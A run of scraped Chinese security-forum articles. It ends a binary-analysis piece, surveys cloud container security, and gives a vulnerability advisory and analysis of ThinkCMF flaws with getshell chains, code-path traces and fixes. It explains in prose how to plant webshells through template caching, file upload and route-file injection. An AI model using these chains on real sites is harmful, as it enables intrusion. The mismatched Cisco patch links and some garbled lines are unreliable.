项目对流程的控制及寄存器集快照保存的作用就在此体现,从上图给出的函数片段可知块`L1`中的`v1`寄存器为执行流程所改变,若不保存寄存器集快照,就不能够完全记录寄存器的前后变化.
上文即为项目对单个函数的大致处理流程,该部分也是项目最核心的部分,不论是成员关系分析还是DataFlow分析,其结果的精确度都依赖于此,更多细节不再在此文写出,至此,本文完结. | 社区文章 |
# 公有云容器市场发展及安全问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
因为操作的简单性和可扩展性，云容器服务得到越来越多企业的重视。通过容器技术可显著提高开发人员和运营人员的效率。
虽然容器技术可加快应用程序的部署，但想要实现容器的底层技术对于许多企业来说仍然非常困难。为此，许多云服务提供商（CSP）提供容器即服务（CaaS）产品。这些产品可以减轻安全和运维团队构建容器基础设施的工作负担。因为CaaS产品具有IaaS的所有基本功能，包括自助服务、可扩展性、计算、存储和网络资源以及抽象层。容器运行的底层软件包括容器运行时、容器编排、作业调度、资源管理和其他容器管理功能。
公有云容器的服务架构
## 1.公有云容器市场发展
据权威机构分析，到 2022 年企业使用公有云容器服务比例将从 2018 年的 50％ 增长到 70％
以上。当下主流的公有云厂商都已经提供了容器服务（CaaS），许多规模较小的公有云和私有云IaaS提供商也瞄准了此类产品。当然，公有云CaaS市场的增长将受到IaaS市场整体增长以及容器技术采用率的影响。Gartner预测，在接下来的几年中，容器的使用将继续快速增长。
未来几年容器使用情况
当然，容器采纳大部分是由开发者所驱动的，他们将容器视为快速生成高质量代码的主要工具。不管是新应用程序的开发，还是老程序的封装部署，容器都可以发挥重要价值。例如，在开发期间使用容器可以确保跨开发、测试和生产环境的一致配置，大大简化了对接所需时间。此外，容器还是云原生应用、微服务应用程序最佳的运行平台。归根结底，容器已经成为现代应用程序平台基础设施的一个关键组成部分。
未来，随着越来越多企业将工作负载转移到公有云上，可以预见公有云容器服务市场会继续保持增长。随着很多企业逐步开始采用多云服务，为解决多个公有云容器服务兼容性问题，有的供应商已经开始提供跨不同云环境部署管理的能力，例如OpenShift，
Kubernetes引擎都可提供相对应服务。
虽然老旧应用程序不是容器使用的主要目标，但是在接下来的几年里，更多的企业将重新构建它们的历史应用程序，将从单一的应用程序转换为自治的、分解的服务或微服务，这些服务被打包部署在容器中。当然，企业在将应用程序迁移到云上时，有几种不同情况，如下图所示。
将应用程序移植上云的计划
从上图可知，“云迁移”可分为Rehost、Refactor、Rearchitect、Rebuilt和Replace5个层次。每个层次对于业务迁移和部署难度也完全不同。
（1）在Rehost阶段
虽然改变了业务承载形态，但未改变任何运维流程，仅仅只是实现在云上部署。
（2）在Refactor阶段
基于业务场景的视角，用流程再造的方式，来匹配公有云，最大的好处就是节约资源。
（3）在Rearchitect阶段
通过改造应用架构，在节约成本的同时，也无需自建数据库，授权的费用也大大降低。
（4）在Rebuilt阶段
全部应用都按照云原生的方式进行开发部署，获得最大程度的弹性扩展能力。
（5）在Replace阶段
已不属于传统IT范畴，以服务的方式进行SaaS购买。
以rehost为例，虽然直接迁移（lift-and-shift）是可行的，但也只是实现了更快的加载、缩短了重新加载时间和恢复时间。显然，直接迁移并不能显著提高可扩展性、性能和弹性。为了实现这些目标就需要重构应用程序以满足云原生设计的要求。这就是容器将产生显著效果的地方。
虽然，当下许多企业仅仅是在主机场景中使用容器处理无状态实例。但是，未来在公有云上的许多应用程序将更多地关注有状态应用程序。因此，需要为应用程序开发人员提供更多的底层抽象技术，并提供额外抽象的服务。尽量使开发人员能够专注于业务逻辑，而不是底层基础设施。
## 2.公有云容器服务选择
众所周知，应用程序开发人员是容器技术的主要关注对象。他们希望使用容器技术来支持更高效的应用程序交付过程。因此，容器采用包括CaaS采用，通常由应用程序开发负责人、企业架构师或技术创新负责人处理。大量的公有云IaaS和PaaS支出都是由业务线付费买单，而不是CIO所负责的集团IT预算。因此，基础设施运营（I&O）领导者必须与相关业务人员合作，才能更好为后期容器管理提供服务。
随着公有云容器服务的快速发展，越来越多的厂商开始提供对应不同功能的服务。这些产品既可以本地部署，也可以在公有云环境中部署。当前，有三类提供公有云相关容器服务的供应商，分别是云服务提供商（CSPs）、管理服务提供商（MSPs）、主机服务提供商。
公有云容器服务相关提供商
不同供应商可能会提供不同功能和服务，企业在选择时候可以通过检查以下属性来比较和对比供应商的产品：
（1）镜像注册表
注册表负责存储和检索容器镜像。虽然公有云提供商支持使用 Docker Hub
等公共注册表，但许多公司还提供安全且可扩展的私有镜像注册表。以下是需要重点考虑因素：
· 是否支持应用程序开发工具
· 是否可以加载或修改应用程序基础设施镜像的管理功能
· 能否支持与身份识别与访问管理（IAM）系统接口
（2）API、命令行界面（CLI）和图形用户界面（GUI）
这些都是公有云提供商提供的典型服务。此外，开发人员经常使用 CLI 并将其作为工具链的自动化内容。这部分需要重点考虑因素是相对于不同用户类型的易用性。
（3）调度、编排和集群管理
使用这些功能，可以在多台主机上扩展服务，如 Kubernetes 或 Docker
Swarm。这部分需要重点考虑因素包括工具的灵活性以及与云提供商提供服务的集成程度。
（4）主机管理
这部分主要考虑因素包括主机操作系统要求、所需的主机管理以及可用主机的配置灵活性及其对服务定价的影响。
（5）自动扩展
支持横向扩展，动态分配额外的基础设施为调度程序提供支持。有两种类型的自动扩展，分别是主机池自动扩展以及容器自动扩展。主要考虑因素包括基于计划和基于触发器的自动扩展功能、部署和取消部署的速度、以及配置和调优的简便性。
（6）网络和负载均衡
容器技术（尤其是容器编排）为网络和负载均衡带来了前所未有的挑战。大多数容器服务支持 4 层负载均衡，但越来越多的组织机构正在使用 7
层负载均衡器（网关）、Kubernetes 入口服务等来实现负载均衡。这部分重点考虑因素是网络集成的深度、配置灵活性和实施的简易性。
（7）支持有状态的应用程序
支持无状态应用程序是容器相关技术的固有特性。由于镜像格式设计为不可变，流程短暂，以及将容器体积映射为存储空间的技术发展尚不成熟，因此，容器对有状态的应用程序提出了独特的挑战。一个关键考虑因素是服务是否支持数据持久性以及与第三方容器存储解决方案集成的能力。另一个考虑因素是数据库服务的集成和支持。
（8）监控和日志管理
必须监控和管理在服务上运行的应用程序。Telemetry
服务包括监控、报警、日志和诊断。除了功能的广度和深度之外，关键考虑因素是定义和使用的简便性。另一个关键考虑因素是兼容性、与现有使用的工具的集成度等。
（9）安全与治理
除了一般的 IaaS 安全功能，如资源级安全性和 IAM 之外，还应该有容器特有的安全功能。例如，通过扫描私有注册表镜像来查找漏洞、安全加密等。
（10）DevOps 工作流程
DevOps 工具、CI/CD
工具链、应用程序发布编排（ARO）工具和容器镜像生成器等工具都是与容器管理系统集成在一起。需要重点考虑因素是这些工具与容器服务集成的深度和广度。
（11）容器运行时
容器运行时，可以让集群节点在注册表中获取容器镜像，还可生成正确的文件结构在主机上运行容器，也可与网络和存储插件交互，也能创建、启停容器。因此，功能的深度和广度也是一个关键考虑因素。
## 3.容器的安全防护
正如上文所说，越来越多的企业利用容器来快速构建和维护新服务和新应用。但是，容器本身也存在重大的安全风险，例如不安全的容器镜像、运行环境的安全问题、架构缺陷与安全机制等，这都意味着保护容器安全将是一项持续的挑战。
容器的安全防护应该覆盖整个容器的生命周期，即容器的构建、分发、运行三个阶段，这样才能确保持续的安全性。
（1）容器构建安全性
由于开源软件在容器中广泛使用，增加了将漏洞引入企业应用程序的风险。作为构建阶段的一部分，应该扫描软件和Docker容器镜像，以发现漏洞，并在生产之前解决问题。因此需要定期扫描镜像注册中心，以检测生产就绪的容器镜像中是否存在新发现的漏洞。
此外，容器构建通常都是单一功能，因此应该删除任何不必要的包、库和其他组件，对镜像进行精简、加固，以容器减少攻击面。
（2）容器分发安全性
DevOps团队需要确保没有在生产中使用未经授权的镜像。为了保护管道的这一阶段，需要经过安全认证，比如镜像签名和访问控制。对Registry、编排工具等其他开发工具的应设置统一的访问控制策略，集成到类似LDAP这类的平台中。
编排和容器管理工具，如Kubernetes、Docker Enterprise Edition、Rancher和Red Hat
OpenShift容器平台，提供了此阶段所需的许多安全特性。
（3）容器运行安全性
运行时安全性是最重要的方面，因为应用的整个生命周期内将不断受到扫描和攻击。即使容器不断地启动、停止和更新，它们所运行的主机也很容易受到新的攻击和零日攻击。
生产环境中运行容器的安全性分为运行时准备阶段和生产环境阶段两个步骤。
运行时准备阶段
当容器正式运行在生产环境中之前，应确保容器的运行时环境是安全的。这包括容器运行时的配置、宿主机的安全、容器应用本身的安全配置、负载均衡等等其他网络或系统服务。
例如，容器运行时，需配置容器的运行用户，若不配置容器的运行用户，容器将会以ROOT权限运行。黑客一旦入侵到以ROOT权限运行的容器中，则拥有了主机内核的所有功能，黑客几乎可以做主机可以做的一切。
生产环境阶段
容器的引入带来了新的入侵方式，同时使东西向流量的安全问题更加突出，因此，对生产环境进行持续性的安全防护和检测必不可少。例如检测容器内的隐藏的WebShell、监控容器内的恶意进程、提权行为等等。
虽然在容器使用镜像运行之前，会对镜像进行一次全方位的漏洞扫描。但一方面，容器运行起来后，可能会被黑客安装上有漏洞的应用加以利用；同时随着时间的推移，软件应用中更多的漏洞被发现了，这些有可能在正在运行的容器中被使用。因此需定期扫描运行中的容器，以确保运行态的容器中不存在新的漏洞。
此外，容器的使用带来更频繁的东西向流量，因此，企业需重视容器带来的网络安全问题。首先可视化容器之间的访问关系，然后监控网络行为，检测基于网络的攻击事件如DDoS攻击、DNS攻击等。同时，需注意对容器之间的网络连接进行加密。
（4）容器安全解决方案
目前，国际市场上涌现了一批容器安全产品安全厂商，如Neuvector、Twistlock、StackRox、Aqua等等，国内自研容器安全产品的则有青藤云安全。从容器安全产品的技术方案上来看，目前大部分的容器安全厂商均使用了平行容器的方式对宿主机上的容器进行安全防护，而青藤云安全则采取了基于宿主机Agent的方式。这两种技术方式有何不同，会产生怎样不同的安全防护效果呢？
平行容器技术方案：利用容器的隔离性和良好的资源控制能力，在容器的宿主机中启动一个容器，该容器通过挂载宿主机的所有文件系统，而后在容器内部对这些文件系统进行实时监控和处理响应，以实现对容器进行防护的作用。
基于宿主机Agent的技术方案：即基于Agent的主机防护能力，监控宿主机上容器相关的文件、进程、系统调用等等信息，增加其Agent中对于容器的清点、监控、防护能力，通过一个Agent，实现宿主机安全、容器安全两种防护的效果。国内新一代主机安全厂商青藤云安全是此类方案的践行者。
以上两种方案示意图如下：
两种技术方案对比如下：
## 写在最后
以容器、微服务、Serverless 为代表的云原生技术，带来一种全新的方式来构建应用。企业 IT 架构也随之发生巨大变化，而业务又深度依赖 IT
能力。这带来了一定程度的复杂性和挑战性，尤其是其安全挑战不可忽视。企业在享受新技术带来便捷与利益的同时，其安全性也需要引起足够的重视。 | 社区文章 |
**作者：深信服千里目实验室**
**原文链接：<https://mp.weixin.qq.com/s/9IWS0VX90CUJzhh8i0myAw>**
## 一、组件介绍
### 1.1 基本信息
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务，也可通过系统调用其他应用进行协同工作。在这种运行机制下，该系统的用户无需关心开发SNS应用是如何工作的，但他们之间又可通过系统本身进行协调，大大的降低了开发成本和沟通成本。
普通的CMS（内容管理系统）一般不能完成所有的需求，而因为CMS在ThinkCMF内部只是一个应用的形式存在，所以使用ThinkCMF可以用CMS来管理内容，用电影网站系统来管理视频，用电商系统来管理电商网站。这些程序不会影响，也可以模块化的增加或减少应用。
ThinkCMF自身层次非常清晰，逻辑也相当的严谨，特别是系统自带的protal应用非常适合PHP初学者使用。采用了国内优秀的开源php框架ThinkPHP使得ThinkCMF具备了优秀的性能以及良好的安全性。
### 1.2 版本介绍
ThinkCMF基于ThinkPHP框架进行了二次开发，经过逐年演化，逐渐成为了一款功能齐全的内容管理框架。ThinkCMF发展至今已有近8年历史，其核心开发系列共有以下三个，即ThinkCMF
V1.x系列，ThinkCMFX 2.x系列，ThinkPHP 5.x系列。ThinkCMF同时与ThinkPHP的版本有以下对应关系：ThinkCMF
V1.x系列版本基于ThinkPHP 3.1.3版本进行开发的、ThinkCMFX 2.x系列版本是基于ThinkPHP
3.2.3而进行开发、ThinkCMF 5.x系列版本是基于ThinkPHP 5版本开发的。其中ThinkCMF 1.x、ThinkCMFX
2.x官方已经停止了维护，ThinkCMF 5.x属于现阶段核心版本。而ThinkCMFX
2.x系列基于其优良的性能，也在过去积累了很多的历史客户，使得ThinkCMF 5与ThinkCMFX 2在市场上并驾齐驱。版本细分如下图所示：
### 1.3 使用量及使用分布
根据全网数据统计，使用ThinkCMF的网站多达2万余个，其中大部分集中在国内，占使用量的75%以上。其中，浙江、北京、山东、广东四省市使用量最高，由此可见，ThinkCMF在国内被广泛应用。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
## 二、高危漏洞介绍
通过对ThinkCMF漏洞的收集和整理，过滤出其中的高危漏洞，可以得出如下列表。
漏洞名称 | 漏洞ID | 影响版本 | 漏洞披露日期
---|---|---|---
ThinkCMF X2.2.3 任意文件删除漏洞 | CVE-2018-16141 | ThinkCMFX <=2.2.3 | 2018
ThinkCMF X2.2.3 SQL注入漏洞 | CVE-2018-19894 | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3 SQL注入漏洞 | CVE-2018-19895 | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3 SQL注入漏洞 | CVE-2018-19896 | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3 SQL注入漏洞 | CVE-2018-19897 | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3 SQL注入漏洞 | CVE-2018-19898 | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3 前台文件上传漏洞 | | ThinkCMFX <=2.2.3 | 2018
ThinkCMF X2.x缓存Getshell（display函数） | | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3代码注入漏洞（fetch函数） | | ThinkCMFX <= 2.2.3 | 2018
ThinkCMF X2.2.3代码注入漏洞（plugin类） | | ThinkCMFX <= 2.2.3 | 2019
ThinkCMF 后台任意代码执行漏洞1 | CVE-2019-6713 | ThinkCMF <= 5.0.190111 | 2019
ThinkCMF 后台任意代码执行漏洞2 | CVE-2019-7580 | ThinkCMF <= 5.0.190111 | 2019
从中可以看出，ThinkCMF近年出现的高风险漏洞主要分布在ThinkCMF
X2.x系列中，且其中主要集中在SQL注入漏洞，看过笔者上一篇ThinkPHP分析文章的读者都知道，ThinkPHP
3.x系列存在大量SQL注入风险函数，不出意外，这些风险函数最终都在二次开发的基础上被使用，造成了SQL注入漏洞。幸好，在ThinkCMF开发的的过程中，开发人员做过一些SQL注入的风险控制，这就使得这些SQL注入漏洞被利用的难度会大大增加，提高了框架被攻陷的门槛。
ThinkCMF
X2.x系列除了以上的SQL注入的风险之外，另外最大的风险存在于ThinkCMF框架中Controller中的两个模板操作函数，fetch()以及display()函数，这两个函数在处理模板文件的过程中，存在漏洞，会导致任意代码注入，最终造成任意代码执行，且不需要任何权限，所以该漏洞的风险很高。
我们再看ThinkCMF 5系列，这个系列的安全性基于ThinkPHP
5的安全性提高也随之大大提高，近两年比较出名的就是CVE-2019-6713、CVE-2019-7580两个后台任意代码执行漏洞，这两个漏洞源于在后台处理router的时候，没有经过严格验证，导致攻击者可以通过单引号逃逸，将恶意代码注入到ThinkCMF数据库中，最终代码会产生在router.php文件中。
## 三、漏洞利用链
基于ThinkCMF高危漏洞，我们可以得出几种可以利用的ThinkCMF框架漏洞利用链。
#### 3.1 ThinkCMFX 2.x GetShell
**ThinkCMF 2.x - GetShell**
* ThinkCMF 低版本可以使用以上代码注入漏洞，获取服务器权限。
#### 3.2 ThinkCMF 5.x GetShell
**ThinkCMF 5.x - GetShell**
* 首先明确ThinkCMF框架系列版本。
* 首先需要获取到ThinkCMF的后台登录账号密码，执行ThinkCMF后台代码执行漏洞，即可getshell。
## 四、高可利用漏洞分析
从高危漏洞列表中，针对ThinkCMF高可利用漏洞进行深入分析。
### 4.1 ThinkCMF 2.x 代码注入漏洞（fetch函数）
#### 4.1.1 漏洞简介
漏洞名称：ThinkCMF 2.x 代码注入漏洞（fetch函数）
漏洞编号：无
漏洞类型：代码注入
CVSS评分：无
漏洞危害等级：高危
#### 4.1.2 漏洞概述
ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。攻击者可利用此漏洞构造恶意的url，向服务器写入任意内容的文件，从而实现远程代码执行。该漏洞只适用windows系统。
#### 4.1.3 漏洞影响
1.6.0 <= ThinkCMFX <= 2.3.0
#### 4.1.4 漏洞修复
1.将 HomebaseController.class.php和AdminbaseController.class.php 类中 display 和
fetch 函数的修饰符改为 protected
2.目前厂商已不维护2.x版本，请受影响的用户使用升级到ThinkCMF 5系列或者采用以上临时解决方案
#### 4.1.5 漏洞分析
分析该漏洞，我们要详细跟踪一下content参数值的流向，我们从程序入口开始往后跟踪：
Step1：首先通过ThinkPHP.php入口文件进入到Think.class.php文件中的`start()`函数；
####
在start()函数中，进入到App.class.php文件中的主函数`run()`;
进入到文件中的exec()函数，exec函数的作用就是解析请求的路由，这一块的处理模式即为ThinkPHP的处理模式；
通过路由解析，解析出了请求的module、action，分别为:`view`的`fetch`。然后通过invokeAction()函数中的反射，定位到具体类以及具体的操作函数。以下即为第一阶段的路由解析阶段的调用链。
Step2：在定位了操作函数之后，首先定位到了HomebaseController.php文件中的fetch()函数；
然后通过`return parent::fetch`返回到其父类的Controller.php文件中的fetch()函数；
根据之前的路由解析，我们知道即将调用View然后即进入到View.class.php文件中的fetch()函数，进行模板处理。
我们可以看到该函数中，再起始有一个`ob_start();`，然后对content进行处理后，通过`$content =
ob_get_clean();`将content清空，所以我们在清空之后下断点，然后我们即进入到view_parase模块，通过跟踪，我们解析出了模块对应的是ParseTemplateBehavior.php文件；
进入到`ParseTemplateBehavior::run()`主函数中，我们将面临着两个分支，我们分别在两个分支打上断点，来验证此处程序的走向。我们发现content的值是第一次发送的话，将会走else分支，如果不是第一次发送，将会走第一个分支，从判断条件也可得知，如果缓存中存在content的缓存，即走if分支，否则就走else分支。
我们利用第一次发送的poc，进入到else分支中的fetch函数，我们发现进入到Template.class.php文件中的fetch函数，
我们可以看到fetch函数中调用了`loadTemplate()`函数，进入到该函数中，我们可以看到content最终被赋值到了
`$tmplContent`参数中；
然后`$tmplContent
(content)`经过编译后通过`Storage::put`函数保存，最终将文件生成到data/runtime/Cache/Portal文件夹中。最后，最后在Template.class.php文件中调用了`Storage::load`加载cache文件，最终导致代码执行。
### 4.2 ThinkCMF 2.2.x 前台任意文件上传漏洞
#### 4.2.1 漏洞简介
漏洞名称：ThinkCMF 2.2.x 前台任意文件上传漏洞
漏洞编号：无
漏洞类型：文件上传
CVSS评分：无
漏洞危害等级：高危
#### 4.2.2 漏洞概述
ThinkCMF是一套基于ThinkPHP的CMS（内容管理系统）。在 **ThinkCMFX 2.2.3**
最终版及以前版本中，存在一处任意文件上传漏洞（需要普通用户权限，默认可注册）。远程攻击者可利用该漏洞上传任意可执行文件。
#### 4.2.3 漏洞影响
1.6.0 <= ThinkCMFX <= 2.2.3
#### 4.2.4 漏洞修复
目前厂商已不维护2.x版本，请受影响的用户使用升级到ThinkCMF 5系列。
#### 4.2.5 漏洞分析
在/application/Asset/Controller/UeditorController.class.php中，存在一个上传接口，但是在上传前存在一个权限验证，即登录后才可上传，前台会员与后台管理员权限均可。
然后进入到upload方法中，该方法支持上传多种类型文件，我们可以选择uploadfile接口继续跟踪，该接口调用了_ueditor_uplaod()函数；
进入到_ueditor_upload()函数中，我们发现这里是通过`$allowed_exts=explode(',',
$upload_setting[$filetype]);`来进行后缀白名单设置的，明显可以看出程序想用白名单数组，但是使用了 **
filetype]**获得的是一个数组，包含upload_max_filesize和extensions两个key，而explode的作用为把第二个参数通过字符串分割成数组，导致出错，最终返回了一个Null；
故此处少了 **[‘extensions’]** ，正确写法应该是 ** upload_setting);**，此处最终会导致
**$allowed_exts** 的值为Null，导致白名单失效。
然后就将调用Upload.php文件中的upload()函数，进行文件上传操作
进入到upload()函数中，要进入一个check();
check()中将进行后缀检查checkExt()；
在checkExt方法中, 从刚才的分析可以知道$this->config[‘exts’]为null, empty(null)为true,
所以直接返回true了,不会再判断后缀了。
在check之后, 通过getSaveName生成最终保存的文件名;
所以在$rule为$config中的savename属性值 array(‘uniqid’,’’)，文件的后缀来自, `$ext =
empty($this->config['saveExt']) ? $file['ext'] : $this->saveExt;`
在默认的上传配置信息中’saveExt’ => ‘’,saveExt为空, 所以这里不会强制修改文件的后缀而是直接使用的上传文件名的后缀。
生成好文件名之后, 就直接通过save方法进行上传了。save方法中已经没有了任何后缀校验, 所以直接实现了任意文件上传。
最终通过json数据将文件上传的内容返回。
### 4.3 ThinkCMF 2.x 代码注入漏洞（display函数）
#### 4.3.1 漏洞简介
漏洞名称：ThinkCMFX 代码注入漏洞(通过缓存GetShell)
漏洞编号：无
漏洞类型：代码注入
CVSS评分：无
漏洞危害等级：高危
#### 4.3.2 漏洞概述
ThinkCMF是一套基于ThinkPHP的CMS（内容管理系统）。由于ThinkCMF 2.x使用了ThinkPHP
3.x作为开发框架，默认情况下启用了报错日志并且开启了模板缓存，导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中，再次包含该日志文件即可在网站根目录下生成任意PHP文件。
#### 4.3.3 漏洞影响
1.6.0 <= ThinkCMFX <= 2.2.3
#### 4.3.4 漏洞修复
1.将 HomebaseController.class.php和AdminbaseController.class.php 类中 display 和
fetch 函数的修饰符改为 protected
2.目前厂商已不维护2.x版本，请受影响的用户使用升级到ThinkCMF 5系列或者采用以上临时解决方案
#### 4.3.5 漏洞分析
我们从程序入口开始往后跟踪：
Step1：首先通过ThinkPHP.php入口文件进入到Think.class.php文件中的`start()`函数；
在start()函数中，进入到App.class.php文件中的主函数`run()`;
进入到文件中的exec()函数，exec函数的作用就是解析请求的路由，这一块的处理模式即为ThinkPHP的处理模式；
通过路由解析，解析出了请求的module、action，分别为:`HomebaseController`的display()。然后通过invokeAction()函数中的反射，定位到具体类以及具体的操作函数。以下即为第一阶段的路由解析阶段的调用链。
Step2：在定位了操作函数之后，首先定位到了HomebaseController.php文件中的display()函数；然后入到模板解析parseTemplate()函数；
在解析过程中，分别解析出了路径path，module，以及模板文件名，$template.html；然后进行文件检验环节；
通过if(!file_exists_case(file);验证文件是否存在，若文件不存在，则系统异常报错，进入到E()中，抛出异常。
Step3：在将代码注入到log文件中，然后再通过view.class.php在通过display()函数中的fetch()函数解析日志文件，最后执行日志文件中的恶意代码。
### 4.4 ThinkCMF 5.x后台 远程代码执行漏洞
#### 4.4.1 漏洞简介
漏洞名称：ThinkCMF 5.x后台 远程代码执行漏洞
漏洞编号：CVE-2019-6713
漏洞类型：代码注入
CVSS评分：【CVSS v2.0：7.5】【CVSS v3.0：9.8】
漏洞危害等级：高危
#### 4.4.2 漏洞概述
ThinkCMF是一套基于ThinkPHP的CMS（内容管理系统）。ThinkCMF
5.0.190111版本中的app/admincontroller/RouteController.php文件存在一个代码注入。远程攻击者可利用该漏洞执行任意的PHP代码。
#### 4.4.3 漏洞影响
ThinkCMF < = 5.0.190111
#### 4.4.4 漏洞修复
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm13822>
#### 4.4.5 漏洞分析
0x0：首先我们可以控制数据库的写入:将payload插入数据库
0x1：间接的控制了$allRoutes变量
0x2：逃逸单引号，我们可以往data/conf/route.php中写入代码并再写入之后再次触发执行
首先我们在ThinkCMF（ThinkPHP）的路由解析入口打上断点，即在 `$data = self::exec($dispatch,
$config);`处，然后往下走，
通过路由解析，解析出了请求的控制器、类、以及对应函数，分别为:`RouteController.php`的`addPost`函数。
在addpost()函数中，通过
`$routeModel->allowField(true)->save($data);`中的save函数存储路由到数据库中(`INSERT
INTO`cmf_route`(`full_url`,`url`,`status`) VALUES (‘portal/List/index’ ,
‘list/:id’ , ‘1’)`)。
回到`RouteController.php::index()`函数中，该函数用于在请求/响应过程中遍历所有的存储路由。
在index()函数通过getRoutes()函数来进行的，进入到`$routeModel->getRoutes(true);`函数中，在该函数中，通过$allRoutes来存储从数据库中获取到的所有路由内容。
最终在data/conf文件夹下生成`route.php`文件，可以看出是通过单引号逃逸在PHP文件中引入了在数据库中注入的恶意PHP代码。
### 4.5 ThinkCMF 5.x后台 远程代码执行漏洞
#### 4.5.1 漏洞简介
漏洞名称：ThinkCMF 5.x后台 远程代码执行漏洞
漏洞编号：CVE-2019-7580
漏洞类型：代码注入
CVSS评分：【CVSS v2.0：6.5】【CVSS v3.0：8.8】
漏洞危害等级：高危
#### 4.5.2 漏洞概述
ThinkCMF是一套基于ThinkPHP的CMS（内容管理系统）。ThinkCMF
5.0.190111版本中存在安全漏洞。远程攻击者攻击者可通过向portal/admin_category/addpost.html页面发送'别名'参数利用该漏洞注入任意代码。
#### 4.5.3 漏洞影响
ThinkCMF < = 5.0.190111
#### 4.5.4 漏洞修复
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm13822>
#### 4.5.5 漏洞分析
0x0：首先我们可以控制数据库的写入:将payload插入数据库
0x1：间接的控制了$allRoutes变量
0x2：逃逸单引号，我们可以往data/conf/route.php中写入代码并再写入之后再次触发执行
首先我们在ThinkCMF（ThinkPHP）的路由解析入口打上断点，即在 `$data = self::exec($dispatch,
$config);`处，然后往下走，
通过路由解析，解析出了请求的控制器、类、以及对应函数，分别为:`AdminCategoryController.php`的`addPost`函数。
在`addPost`函数中通过`portalCategoryModel.php`中的`addCategory()`函数添加路由分类：
继续跟进到`portalCategoryModel.php::addCategory()`函数中看出，通过`RouteModel.php::setRoute()`函数将`alias`的值进行存储。
在`RouteModel.php::setRoute()`函数中，首先确定该路由是否存在，若不存在，就直接将路由存储到数据库中。
数据库中已经保存了新增的url的内容，如下：
回到`portalCategoryModel.php::addCategory()`函数中，在存储完新路由后，然后就进入到`$routeModel->getRoutes(true);`函数中，在改函数中，通过$allRoutes来存储所有的新增路由内容。
最终在data/conf文件夹下生成`route.php`文件，该文件中包含了数据库中注入的恶意PHP代码。
### 4.6 ThinkCMF 2.x 代码注入漏洞(Api/Plugin)
#### 4.6.1 漏洞简介
漏洞名称：ThinkCMF 2.x 代码注入漏洞（Api/Plugin）
漏洞编号：无
漏洞类型：代码注入
CVSS评分：无
漏洞危害等级：高危
#### 4.6.2 漏洞概述
ThinkCMF是一套基于ThinkPHP的CMS（内容管理系统）。在 **ThinkCMFX 2.2.3**
最终版及以前版本中，存在一处模板注入漏洞。该漏洞源于程序未对模板文件名进行过滤，且接口权限控制不严。在模板名可控、文件内容可控的情况下，我们可以将
**webshell** 写入缓存文件，然后框架会去包含缓存文件，这样就成功执行了 **webshell** 。
#### 4.6.3 漏洞影响
1.6.0 <= ThinkCMFX <= 2.2.3
#### 4.6.4 漏洞修复
1.将 HomebaseController.class.php和AdminbaseController.class.php 类中 display 和
fetch 函数的修饰符改为 protected
2.目前厂商已不维护2.x版本，请受影响的用户使用升级到ThinkCMF 5系列或者采用以上临时解决方案
#### 4.6.5 漏洞分析
分析该漏洞，我们要详细跟踪一下content参数值的流向，我们从程序入口开始往后跟踪：
Step1：首先通过ThinkPHP.php入口文件进入到Think.class.php文件中的`start()`函数；
在start()函数中，进入到App.class.php文件中的主函数`run()`;
进入到文件中的exec()函数，exec函数的作用就是解析请求的路由，这一块的处理模式即为ThinkPHP的处理模式；
通过路由解析，解析出了请求的module、action，分别为:`view`的`fetch`。然后通过invokeAction()函数中的反射，定位到具体类以及具体的操作函数。以下即为第一阶段的路由解析阶段的调用链。
Step2：在定位了操作函数之后，首先定位到了HomebaseController.php文件中的fetch()函数；
然后通过`return parent::fetch`返回到其父类的Controller.php文件中的fetch()函数；
根据之前的路由解析，我们知道即将调用View然后即进入到View.class.php文件中的fetch()函数，进行模板处理。
我们可以看到该函数中，再起始有一个`ob_start();`，然后对content进行处理后，通过`$content =
ob_get_clean();`将content清空，所以我们在清空之后下断点，然后我们即进入到view_parase模块，通过跟踪，我们解析出了模块对应的是ParseTemplateBehavior.php文件；
进入到`ParseTemplateBehavior::run()`主函数中，我们将面临着两个分支，我们分别在两个分支打上断点，来验证此处程序的走向。我们发现content的值是第一次发送的话，将会走else分支，如果不是第一次发送，将会走第一个分支，从判断条件也可得知，如果缓存中存在content的缓存，即走if分支，否则就走else分支。
我们利用第一次发送的poc，进入到else分支中的fetch函数，我们发现进入到Template.class.php文件中的fetch函数，
我们可以看到fetch函数中调用了`loadTemplate()`函数，进入到该函数中，我们可以看到content最终被赋值到了
`$tmplContent`参数中；
然后`$tmplContent
(content)`经过编译后通过`Storage::put`函数保存，最终将文件生成到data/runtime/Cache/Portal文件夹中。最后，最后在Template.class.php文件中调用了`Storage::load`加载cache文件，最终导致代码执行。
## 五、漏洞利用
最后，通过深信服千里目实验室 **漏洞利用工具Sniper** 进行最后的漏洞利用，具体操作如以下视频所示：
### 5.1 ThinkCMF 2.x 代码注入漏洞（fetch）
相关视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/9IWS0VX90CUJzhh8i0myAw>
### 5.2 ThinkCMF 2.x 代码注入漏洞（display）
相关视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/9IWS0VX90CUJzhh8i0myAw>
### 5.3 ThinkCMF 2.x 前台任意文件上传漏洞
相关视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/9IWS0VX90CUJzhh8i0myAw>
### 5.4 ThinkCMF 5.x 后台远程代码执行漏洞
相关视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/9IWS0VX90CUJzhh8i0myAw>
* * * | 社区文章 |
## 文章前言
